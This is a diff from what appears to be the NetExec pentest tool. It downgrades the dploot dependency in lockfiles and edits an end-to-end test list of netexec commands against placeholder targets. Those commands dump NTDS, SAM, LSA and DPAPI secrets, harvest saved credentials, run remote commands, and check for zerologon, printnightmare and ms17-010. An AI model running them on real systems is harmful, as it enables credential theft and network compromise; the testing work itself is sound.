{file = "dploot-3.2.2-py2.py3-none-any.whl", hash = "sha256:8c7e436f382af7ae46642b8dbb91a4aa0818a2556c3ef802197ffd95ba9c8ea9"},
{file = "dploot-3.2.2.tar.gz", hash = "sha256:3f6acf90113ad076be9b59ea4142d0de4d910d4ae8f99a744d47cf010352d3a8"},
]
[package.dependencies]
cryptography = ">=40.0.1"
impacket = ">=0.13.0"
impacket = ">=0.12.0"
lxml = ">=5.0"
pick = ">=2.6.0,<3.0.0"
pyasn1 = ">=0.4.8"
pypsrp = ">=0.9.1,<0.10.0"
[[package]]
name = "dsinternals"
@@ -1097,7 +1095,7 @@ all = ["mypy (>=1.11.2)", "pytest (>=8.3.2)", "ruff (>=0.6.2)"]
[[package]]
name = "impacket"
version = "0.14.0.dev0+20260909.31915.a2d35007"
version = "0.14.0.dev0+20260810.134619.243d64a6"
description = "Network protocols Constructors and Dissectors"
optional = false
python-versions = "*"
@@ -1121,7 +1119,7 @@ six = "*"
type = "git"
url = "https://github.com/fortra/impacket"
reference = "HEAD"
resolved_reference = "a2d35007c9717ce791f07efe99db63fd26386661"
resolved_reference = "243d64a67599e24a1c5dd7eb3ff8667d2d5bc2fc"
[[package]]
name = "iniconfig"
@@ -1751,24 +1749,6 @@ files = [
{file = "pefile-2024.8.26.tar.gz", hash = "sha256:3ff6c5d8b43e8c37bb6e6dd5085658d658a7a0bdcd20b6a07b1fcfc1c4e9d632"},
]
[[package]]
name = "pick"
version = "2.6.0"
description = "Pick an option in the terminal with a simple GUI"
optional = false
python-versions = ">=3.8"
groups = ["main"]
files = [
{file = "pick-2.6.0-py3-none-any.whl", hash = "sha256:2acd5cad09be96398fba3b8be89454929de7b05362e01c69d94a05801820871f"},
{file = "pick-2.6.0.tar.gz", hash = "sha256:f24434a845ae9265ebf7657fc224b9a203ac75aa576b568e061484a72e27be82"},
]
[package.dependencies]
windows-curses = {version = ">=2.2.0", markers = "platform_system == \"Windows\""}
[package.extras]
blessed = ["blessed (>=1.17.0)"]
[[package]]
name = "pillow"
version = "12.3.0"
@@ -2995,35 +2975,6 @@ files = [
[package.dependencies]
cryptography = ">=38.0.1"
[[package]]
name = "windows-curses"
version = "2.4.2"
description = "Support for the standard curses module on Windows"
optional = false
python-versions = "*"
groups = ["main"]
markers = "platform_system == \"Windows\""
files = [
{file = "windows_curses-2.4.2-cp310-cp310-win32.whl", hash = "sha256:fb55b40df1dd8633f431307f204293ca2a0b4f928927490509f1bf68beef3cfe"},
{file = "windows_curses-2.4.2-cp310-cp310-win_amd64.whl", hash = "sha256:0ff2a0884cb78d48e15eea1e274f73c1f5a780a4b872357724c17b39de75c996"},
{file = "windows_curses-2.4.2-cp311-cp311-win32.whl", hash = "sha256:ecf7af9c97002af661d3e47b9c5eb31cdb7629a032adcdab46530efea8ba1864"},
{file = "windows_curses-2.4.2-cp311-cp311-win_amd64.whl", hash = "sha256:03c4ef0095ab8212ed964236d51b4d8c815f302c5a7de94831dae468f05ce333"},
{file = "windows_curses-2.4.2-cp312-cp312-win32.whl", hash = "sha256:7ec4629685add716d494e8fbdd0b83485de726e9deeda57d30e742c77a32a156"},
{file = "windows_curses-2.4.2-cp312-cp312-win_amd64.whl", hash = "sha256:df782859176f9e8142618e4966d6cee7a53a8b1c819faeb6e606a60fa4f8972a"},
{file = "windows_curses-2.4.2-cp313-cp313-win32.whl", hash = "sha256:248bf3f1d973e92ca193b1ea8a626ec7f81a66be6f6d6c5e31ff82056453678d"},
{file = "windows_curses-2.4.2-cp313-cp313-win_amd64.whl", hash = "sha256:1bf3d0c902374b6c430a954adcb686a5ecd7a31fc4195d31136385b5c1bea925"},
{file = "windows_curses-2.4.2-cp314-cp314-win32.whl", hash = "sha256:a970bf067b3126251423b4da051ef8c1c77acf6294ec96a7d6de7f6b9e5c27a0"},
{file = "windows_curses-2.4.2-cp314-cp314-win_amd64.whl", hash = "sha256:6c22cb0310500dfbfe54c76354e37070e300d5473596d48ac4f9c65b2d578b6f"},
{file = "windows_curses-2.4.2-cp36-cp36m-win32.whl", hash = "sha256:aa1b97c94882ac0c0019a0dcbb9b57a3f751e166e0ed6d99230e5d77bfb7f2b5"},
{file = "windows_curses-2.4.2-cp36-cp36m-win_amd64.whl", hash = "sha256:f03193397e20e9f86d5a661c63c01d305d63ffcefc2bca46e1881f2c06af2a38"},
{file = "windows_curses-2.4.2-cp37-cp37m-win32.whl", hash = "sha256:6ff56a1cc6410cb7600e5af7c01178d534ca704f9bc91da433719fccbe7c26c6"},
{file = "windows_curses-2.4.2-cp37-cp37m-win_amd64.whl", hash = "sha256:cc890992a9a554b9e39354db672bd2b74110dd5ed7df0386a9c2d2956e964130"},
{file = "windows_curses-2.4.2-cp38-cp38-win32.whl", hash = "sha256:3a2ece436fa601d71c82f02aa5cf829692ebf77075c64d94af5dfd4a13f31166"},
{file = "windows_curses-2.4.2-cp38-cp38-win_amd64.whl", hash = "sha256:e716deaff73bbc7336769bdbf2c2b1c4f9ed0743ed6686927af134e7e6f3a699"},
{file = "windows_curses-2.4.2-cp39-cp39-win32.whl", hash = "sha256:45b1a9cb17712f78ab4a6e9456bd46df35f96f880c1e814f8e0c6b4511a7e89c"},
{file = "windows_curses-2.4.2-cp39-cp39-win_amd64.whl", hash = "sha256:9de1714af3effdffb3a048dff691c1c1d36c289b8f765c96f148a3dcb9f5984c"},
]
[[package]]
name = "xmltodict"
version = "1.0.4"
@@ -3042,4 +2993,4 @@ test = ["pytest", "pytest-cov"]
[metadata]
lock-version = "2.1"
python-versions = ">=3.10,<4.0"
content-hash = "11d6b0b792b5f5e7ecb7ed5ba7406f4353f298e4ff154bca15d9a93a0a3fec48"
content-hash = "0d14ba58153ca84c0a373c8d9180f9d864bc600cf1f67fdabf680f338265172d"
+1 -1
View File
@@ -24,7 +24,7 @@ dependencies = [
"bloodhound-ce>=1.8.0",
"certihound>=0.1.1",
"cryptography>=42.0.8",
"dploot>=4.0.0",
"dploot>=3.2.2,<4.0.0",
"dsinternals>=1.2.4",
"jwt>=1.3.1",
"lsassy>=3.1.11",
+8 -30
View File
@@ -31,13 +31,11 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sam --his
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds --history
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds --enabled
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds --enabled --history
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds --kerberos-keys
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds --trust-keys
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds --just-trust-keys
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --lsa
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --dpapi
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sccm
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sccm wmi
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --list-snapshots
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x ipconfig
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x ipconfig --exec-method atexec
@@ -179,6 +177,13 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M winscp
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M zerologon
#netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M change-password -o NEWPASS=Password123
#netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M change-password -o NEWNTHASH=58A478135A93AC3BF058A5EA0E8FDB71
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M gpos -o DOWNLOAD=False
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M gpos -o NAME="Default Domain Policy" DOWNLOAD=False
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M gpos -o NAME="Default Domain Policy" ALL_PROPS=True DOWNLOAD=False
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M gpos -o NAME="Default" DOWNLOAD=False
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M gpos -o NAME="Default" FUZZY=True DOWNLOAD=False
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M gpos -o NAME="Default" FUZZY=True ALL_PROPS=True DOWNLOAD=False
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M gpos -o ALL_PROPS=True DOWNLOAD=False
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M lockscreendoors
# test for multiple modules at once
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spooler -M petitpotam -M zerologon -M nopac -M enum_av -M enum_dns -M gpp_autologin -M gpp_password -M lsassy -M impersonate -M install_elevated -M ioxidresolver -M ms17-010 -M ntlmv1 -M printnightmare -M runasppl -M uac -M webdav -M wifi -M coerce_plus
@@ -197,8 +202,6 @@ netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an e
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --list-snapshots
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --wmi-namespace root/cimv2
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x whoami
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --dpapi
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sccm
##### WMI Modules
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ioxidresolver
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spooler
@@ -210,14 +213,6 @@ netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get_netc
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M bitlocker
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ntds-dump-raw
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ntds-dump-raw -o TARGET=SAM,LSA,NTDS
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dpapi_hash
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mobaxterm
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mremoteng
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdcman
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M vnc
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M vnc -o NO_REMOTEOPS=True
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wam
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wifi
##### LDAP
netexec {DNS} ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --simple-bind
@@ -290,14 +285,6 @@ netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --check-p
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ntds-dump-raw
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ntds-dump-raw -o TARGET=SAM,LSA,NTDS
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M aws-credentials
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dpapi_hash
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mobaxterm
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mremoteng
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdcman
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M vnc
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M vnc -o NO_REMOTEOPS=True
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wam
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wifi
##### MSSQL
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # Need a space at the end for kerb regex
netexec {DNS} mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # Need a space at the end for kerb regex
@@ -305,7 +292,6 @@ netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --rid-bru
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --database
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sam
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --lsa
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --dpapi
##### MSSQL PowerShell
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32
@@ -334,14 +320,6 @@ netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mssql_
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mssql_dumper
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mssql_dumper -o LIKE_SEARCH=test,secret
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mssql_dumper -o REGEX=secret SHOW_DATA=False
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dpapi_hash
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mobaxterm
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mremoteng
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdcman
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M vnc
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M vnc -o NO_REMOTEOPS=True
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wam
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wifi
##### RDP
netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex
netexec {DNS} rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
Generated
+6 -37
View File
@@ -746,19 +746,17 @@ wheels = [
[[package]]
name = "dploot"
version = "4.1.1"
version = "3.2.2"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "cryptography" },
{ name = "impacket" },
{ name = "lxml" },
{ name = "pick" },
{ name = "pyasn1" },
{ name = "pypsrp" },
]
sdist = { url = "https://files.pythonhosted.org/packages/fa/6c/52dee037768f5d940b5ae410d80fd431fef7d210d7f9af83caeb871e88f9/dploot-4.1.1.tar.gz", hash = "sha256:aaf4e4cf581c980e888d5d53a46d6c4e39faa1e51374f699342768f39bb24248", size = 72339, upload-time = "2026-09-14T13:55:44.529Z" }
sdist = { url = "https://files.pythonhosted.org/packages/80/b1/40295eaf9ac7ab4c93a2568356971480d335b410cf67075064cb4e9ddaec/dploot-3.2.2.tar.gz", hash = "sha256:3f6acf90113ad076be9b59ea4142d0de4d910d4ae8f99a744d47cf010352d3a8", size = 68524, upload-time = "2026-03-13T16:27:31.139Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/19/c0/ede1a114ca34556b2c44844627e043336cb68a76817253682f6d96535fbb/dploot-4.1.1-py3-none-any.whl", hash = "sha256:5fbca4076f0526ddd37f82a9b62a7a60ec72f7b674601e6c501a40164a542b1a", size = 101304, upload-time = "2026-09-14T13:55:45.849Z" },
{ url = "https://files.pythonhosted.org/packages/81/96/4f81066afd9dc958c3cea89a3dc371c94cc651d528853545cf3a54bade7c/dploot-3.2.2-py2.py3-none-any.whl", hash = "sha256:8c7e436f382af7ae46642b8dbb91a4aa0818a2556c3ef802197ffd95ba9c8ea9", size = 93718, upload-time = "2026-03-13T16:27:29.83Z" },
]
[[package]]
@@ -934,8 +932,8 @@ wheels = [
[[package]]
name = "impacket"
version = "0.14.0.dev0+20260909.31915.a2d35007"
source = { git = "https://github.com/fortra/impacket#a2d35007c9717ce791f07efe99db63fd26386661" }
version = "0.14.0.dev0+20260814.164800.c23b3d55"
source = { git = "https://github.com/fortra/impacket#c23b3d55bc846a2460a459437601a94bfd25a269" }
dependencies = [
{ name = "charset-normalizer" },
{ name = "flask" },
@@ -1412,7 +1410,7 @@ requires-dist = [
{ name = "certihound", specifier = ">=0.1.1" },
{ name = "certipy-ad", git = "https://github.com/Pennyw0rth/Certipy" },
{ name = "cryptography", specifier = ">=42.0.8" },
{ name = "dploot", specifier = ">=4.0.0" },
{ name = "dploot", specifier = ">=3.2.2,<4.0.0" },
{ name = "dsinternals", specifier = ">=1.2.4" },
{ name = "impacket", git = "https://github.com/fortra/impacket" },
{ name = "jwt", specifier = ">=1.3.1" },
@@ -1497,18 +1495,6 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/54/16/12b82f791c7f50ddec566873d5bdd245baa1491bac11d15ffb98aecc8f8b/pefile-2024.8.26-py3-none-any.whl", hash = "sha256:76f8b485dcd3b1bb8166f1128d395fa3d87af26360c2358fb75b80019b957c6f", size = 74766, upload-time = "2024-08-26T21:01:02.632Z" },
]
[[package]]
name = "pick"
version = "2.6.0"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "windows-curses", marker = "sys_platform == 'win32'" },
]
sdist = { url = "https://files.pythonhosted.org/packages/b6/f9/450cc44b21190d99b86df3e59f7573d85f3ef2c4f7670ce4f65cb2def3b4/pick-2.6.0.tar.gz", hash = "sha256:f24434a845ae9265ebf7657fc224b9a203ac75aa576b568e061484a72e27be82", size = 6266, upload-time = "2026-02-28T13:47:06.31Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/a5/93/704982e09f3481d2055cf8ef7372445dc8ea6c883daf60f0816deb9e362c/pick-2.6.0-py3-none-any.whl", hash = "sha256:2acd5cad09be96398fba3b8be89454929de7b05362e01c69d94a05801820871f", size = 7890, upload-time = "2026-02-28T13:47:05.311Z" },
]
[[package]]
name = "pillow"
version = "12.3.0"
@@ -2387,23 +2373,6 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/64/82/9be45ef89488ad87870da83271cb734f410373ca86dde76d6907d74cf0e0/winacl-0.1.9-py3-none-any.whl", hash = "sha256:31ba781a35f3b1bd3c2ece994816c0a5fe113c73018689ab6118010ac0d15099", size = 89218, upload-time = "2024-05-06T07:23:14.411Z" },
]
[[package]]
name = "windows-curses"
version = "2.4.2"
source = { registry = "https://pypi.org/simple" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/d1/6c/21393045010dd74887c71f1738f2bb1e60758c04d74cc97cefc03731a6d6/windows_curses-2.4.2-cp310-cp310-win32.whl", hash = "sha256:fb55b40df1dd8633f431307f204293ca2a0b4f928927490509f1bf68beef3cfe", size = 71143, upload-time = "2026-03-31T12:44:33.2Z" },
{ url = "https://files.pythonhosted.org/packages/1c/aa/4a67a104ab4d6ac4d5d5f8f80363feec688d7846180c5ca69327f602196a/windows_curses-2.4.2-cp310-cp310-win_amd64.whl", hash = "sha256:0ff2a0884cb78d48e15eea1e274f73c1f5a780a4b872357724c17b39de75c996", size = 81848, upload-time = "2026-03-31T12:44:34.869Z" },
{ url = "https://files.pythonhosted.org/packages/d1/58/5fd430fec0ebe1cef88ddccba345ca119f1b44e58f58d6998878a01c9973/windows_curses-2.4.2-cp311-cp311-win32.whl", hash = "sha256:ecf7af9c97002af661d3e47b9c5eb31cdb7629a032adcdab46530efea8ba1864", size = 71135, upload-time = "2026-03-31T12:44:35.863Z" },
{ url = "https://files.pythonhosted.org/packages/84/62/e2bae0ab9c5c80dca9a708a4cb9c8afaf0ef61c8d4459b57f96785040831/windows_curses-2.4.2-cp311-cp311-win_amd64.whl", hash = "sha256:03c4ef0095ab8212ed964236d51b4d8c815f302c5a7de94831dae468f05ce333", size = 81863, upload-time = "2026-03-31T12:44:36.834Z" },
{ url = "https://files.pythonhosted.org/packages/2e/9c/b2a3706c8edadae8ae88b327ba072d6056ad1b492f9996214cff027e9f01/windows_curses-2.4.2-cp312-cp312-win32.whl", hash = "sha256:7ec4629685add716d494e8fbdd0b83485de726e9deeda57d30e742c77a32a156", size = 71547, upload-time = "2026-03-31T12:44:37.797Z" },
{ url = "https://files.pythonhosted.org/packages/8b/ee/8c5da36191524856fb2c675f8cae99211ccf77bcd4e4a9010477e08000ac/windows_curses-2.4.2-cp312-cp312-win_amd64.whl", hash = "sha256:df782859176f9e8142618e4966d6cee7a53a8b1c819faeb6e606a60fa4f8972a", size = 82282, upload-time = "2026-03-31T12:44:39.106Z" },
{ url = "https://files.pythonhosted.org/packages/b1/54/195f2c4d0258ced34a401c8e3c9eefa2aa2221a9f0179ae64ad3cb039e64/windows_curses-2.4.2-cp313-cp313-win32.whl", hash = "sha256:248bf3f1d973e92ca193b1ea8a626ec7f81a66be6f6d6c5e31ff82056453678d", size = 71458, upload-time = "2026-03-31T12:44:40.184Z" },
{ url = "https://files.pythonhosted.org/packages/47/e8/38fd0fef95271280a77a4f3b65e0961d3c39716388b39c08b3040bfb4f2c/windows_curses-2.4.2-cp313-cp313-win_amd64.whl", hash = "sha256:1bf3d0c902374b6c430a954adcb686a5ecd7a31fc4195d31136385b5c1bea925", size = 82200, upload-time = "2026-03-31T12:44:41.503Z" },
{ url = "https://files.pythonhosted.org/packages/d2/22/f90c7d1d83464eb63345802f33e8de41bd732521d9a60a69ad985c8faa90/windows_curses-2.4.2-cp314-cp314-win32.whl", hash = "sha256:a970bf067b3126251423b4da051ef8c1c77acf6294ec96a7d6de7f6b9e5c27a0", size = 77028, upload-time = "2026-03-31T12:44:42.611Z" },
{ url = "https://files.pythonhosted.org/packages/6f/6a/1f8754de746474a049a841e139b443b250a96908d6913ccf2db9a4303584/windows_curses-2.4.2-cp314-cp314-win_amd64.whl", hash = "sha256:6c22cb0310500dfbfe54c76354e37070e300d5473596d48ac4f9c65b2d578b6f", size = 86361, upload-time = "2026-03-31T12:44:43.893Z" },
]
[[package]]
name = "xmltodict"
version = "1.0.4"